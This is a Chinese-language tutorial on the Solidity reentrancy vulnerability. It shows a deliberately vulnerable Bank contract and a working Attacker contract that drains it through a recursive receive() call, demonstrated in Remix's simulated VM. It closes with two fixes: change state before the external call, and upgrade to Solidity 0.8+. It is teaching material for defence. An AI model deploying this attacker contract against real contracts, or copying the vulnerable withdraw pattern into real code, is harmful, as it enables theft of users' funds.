手把手做一次Reentrancy攻擊

Overview


Intro

Reentrancy Attack應該大部份幣圈從業者都有聽過,算是Solidity最知名的一個漏洞。過去此漏洞曾經導致Ethereum 分岔成Ethereum Classic與現在我們熟知的Ethereum。(幣來說就是分成了ETH & ETC)。

問題發生的原因在於我們的合約在使用call的時候,如果使用你合約的不是外部帳戶(EOA),而是另一個智能合約,那麼就會觸發receive() (or fallback())。那麼這個惡意合約,就可以在receive()當中繼續呼叫你的合約。

我看了什麼?

沒關係,我們看code比較清楚。 今天假設有兩個合約BankAttacker

Contract: Bank

今天寫一個簡單的銀行合約Bank,讓用戶存錢(Deposit)進去,然後可以把錢領(Withdraw)出來,用userBalance變數去紀錄使用者存了多少錢進去。

 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.7.0;
 3
 4contract Bank {
 5    mapping(address => uint256) public userBalance;
 6
 7    event log(string title, uint _amount); 
 8
 9    function deposit() public payable {
10        userBalance[msg.sender] += msg.value;
11    }
12
13    function withdraw(uint256 amount) public {
14        require(userBalance[msg.sender] >= amount);
15
16        emit log("before call()", address(this).balance);
17        (bool send, ) = msg.sender.call{value: amount}("");
18        emit log("after call()", address(this).balance);
19        
20        require(send, "withdraw failed");
21        userBalance[msg.sender] -= amount;
22    }
23}

來看一下很正常的withdraw(), 一開始先檢查使用者的餘額(userBalance[msg.sender])是否大於等於提款的金額(amount)

1require(userBalance[msg.sender] >= amount);

驗證沒問題,把錢轉出給使用者

1(bool send, ) = msg.sender.call{value: amount}("");

好心的檢查轉出狀態是否正常

1require(send, "withdraw failed");

最後扣掉userBalance, Happy Ending。

1userBalance[msg.sender] -= amount;

打開Remix來測試看看,新增一個reentrancy.sol的檔案,把上面的code貼上。切換到0.7.0的compiler去compile。(為什麼不用最新的?文章末尾跟大家說)

切換到Deploy的分頁,Environment用Javascript VM即可,Contract選擇Bank合約,然後按下Deploy。

Deploy Setting

value選擇10 Ether, 按下Deposit。

Deploy Setting

可以透過userBalancewithdraw去測試看看一切是否跟我們預期的一樣。

Contract: Attacker

好,現在輪到攻擊者上場了!

 1contract Attacker { 
 2    Bank bank;
 3
 4    event attack_log(string title, uint amount); 
 5
 6    receive() external payable {
 7        emit attack_log("attacking", address(bank).balance);
 8        if (address(bank).balance >= 1 ether) {
 9            bank.withdraw(1 ether);
10        }
11    }
12
13    constructor(address bank_address) {
14        bank = Bank(bank_address);
15    }
16
17    function attack() public payable { 
18        bank.deposit{value: 1 ether}();
19        emit attack_log("start attack", address(bank).balance);
20        bank.withdraw(1 ether);
21        emit attack_log("attack finish", address(bank).balance);
22    }
23}

先看Attack(), 先存入1 ether,然後把它領取來。看起來還是很正常對嗎?

那接著來看重點receive()。當有合約收到ether的時候,會自動觸發receive()這個特殊的function。

然後我們在receive()裡面去再呼叫一次Bankwithdraw()。(會先檢查Bank的餘額,避免餘額不足觸發revert,導致整個交易都失敗。)

先試著攻擊一次會更清楚。先確認Bank合約有把ether存進去(如果你前面步驟有把ether領出來,記得在deposit進去)。

可以在remix的console透過web3.eth.getBalance("contract_address")來查詢合約的餘額,下圖可以看到攻擊前合約的確有10 ether。

攻擊前確認合約餘額

模擬攻擊者來Deploy Attacker合約。 首先切換account到別的帳號來Deploy。(注意Attacker合約佈署時時需要給定Bank的合約地址)

Deploy攻擊合約

輸入1 ether給Attacker當作攻擊時的初始合約,按下Attack,準備收錢。

攻擊Bank合約

透過console分別查看兩個合約的餘額web3.eth.getBalance("contract_address"),你會發現Bank的餘額為0 ether, 而Attacker只花了gas fee就把銀行的錢都捲走了。

打看剛剛Attack的log, 從log中可以觀察到程式的運作順序

Debug

把順序整理一下,流程大致如下

 1attacker.attack()
 2
 3-> bank.withdraw(1 ether)
 4-> msg.sender.call{value: amount}
 5-> 觸發Attacker的receiver()
 6
 7-> bank.withdraw(1 ether)
 8-> msg.sender.call{value: amount}
 9-> 觸發Attacker的receiver()
10
11...
12...一直循環到bank的餘額不足為止
13...
14
15-> userBalance[msg.sender] -= amount; # Bank合約把你的餘額扣了1 ether, 實際上你把錢都騙走了。

以上就是Reentrancy攻擊的可怕之處,你感覺你寫的Code都很正常,該檢查的都檢查了,應該沒問題吧?可是還是會被攻擊了😭

預防方式

方法1: 先改狀態

最簡單但重要的一個概念就是把改變狀態的程式碼放到前面,最後再呼叫外部合約。

 1contract Bank {
 2    mapping(address => uint256) public userBalance;
 3
 4    event log(string title, uint _amount); 
 5
 6    function deposit() public payable {
 7        userBalance[msg.sender] += msg.value;
 8    }
 9
10    function withdraw(uint256 amount) public {
11        require(userBalance[msg.sender] >= amount);
12
13        userBalance[msg.sender] -= amount;
14        
15        emit log("before call()", address(this).balance);
16        (bool send, ) = msg.sender.call{value: amount}("");
17        emit log("after call()", address(this).balance);
18
19        require(send, "withdraw failed");
20    }
21}

我們先扣掉Attacker的餘額之後,再把錢轉給Attacker。這樣當receiver()想再withdraw()的時候,就會被require(userBalance[msg.sender] >= amount);所revert,讓整個交易都失敗👍

方法2: 版本升級

升級Solidity到0.8.0之後的版本,就可以讓上面的攻擊合約失效。 因為0.8.0有一個改變,就是當運算出現overflow or underflow的時候都會觸發revert。

Arithmetic operations revert on underflow and overflow. You can use unchecked { ... } to use the previous wrapping behaviour.

也就是說,當攻擊者跑到最後步驟時userBalance[msg.sender] -= amount;,會觸發revert讓交易失敗👍

 1第一次-=amount
 2userBalance[msg.sender] = 1
 3amount = 1
 4-> userBalance[msg.sender] = 0
 5
 6第二次-=amount
 7userBalance[msg.sender] = 0
 8amount = 1
 9-> userBalance[msg.sender] = -1 
10-> underflow
11-> revert

當然這不是真的能完全避免掉Reentrancy攻擊。試想你有一個withdrawAll()的function, 你單純把userBalance[msg.sender] = 0;,然後還是被攻擊了😭


補充:有興趣了解會觸發receive()還是fallback()可以參考這篇